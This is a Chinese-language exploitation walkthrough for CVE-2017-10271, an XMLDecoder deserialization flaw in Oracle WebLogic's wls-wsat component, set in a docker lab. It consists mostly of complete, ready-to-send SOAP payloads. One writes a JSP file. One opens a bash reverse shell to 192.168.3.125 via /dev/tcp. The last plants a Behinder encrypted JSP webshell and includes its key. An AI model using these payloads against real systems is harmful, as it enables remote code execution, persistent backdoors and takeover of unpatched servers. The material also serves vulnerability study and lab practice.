文章目录
- 前言
- 影响版本
- 环境搭建
- 漏洞复现
- 深度利用
前言
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
漏洞本质:主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。
扩展:
SOAP:SOAP是Web服务安全性内置协议,采用保密和身份验证规则集的方式,支持OASIS和W3C制定的标准,结合使用XML加密、XML签名和SAML令牌等方式来验证身份和授权。SOAP更安全,适合于处理敏感数据,但是比较笨重。
影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
环境搭建
启动测试环境:
docker-compose up -d
等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
漏洞复现
访问:http://ip:7001/wls-wsat/CoordinatorPortType11出现以下内容可能存在漏洞
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType,使用BP抓包
发送到rpeater,将get方式改为POST,再 将webshell替换上去,然后点击Send。
soap POC:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: youip:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 795
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问页面使用burp进行抓包,将数据包修改,点击上传显示500说明写入成功, 访问http://ip:7001/bea_wls_internal/jpc.jsp,正常显示写入的文本。
上传反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.3.125/21 0>&1</string>
</void> #/dev/tcp/监听机的ip/监听的端口
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
在kali开启监听,成功反弹
复现成功!!!!
深度利用
接下来就可以写入webshell了,这里使用冰蝎自带的jsp webshell。默认密码为: rebeyond如果想改的话密码为32位md5值的前16位(此处已经修改了)。写入成功后访问http://ip:7001/bea_wls_internal/6.jsp
webshell:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/6.jsp</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="58fba691b44a40af";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
输入密码,成功连接!!!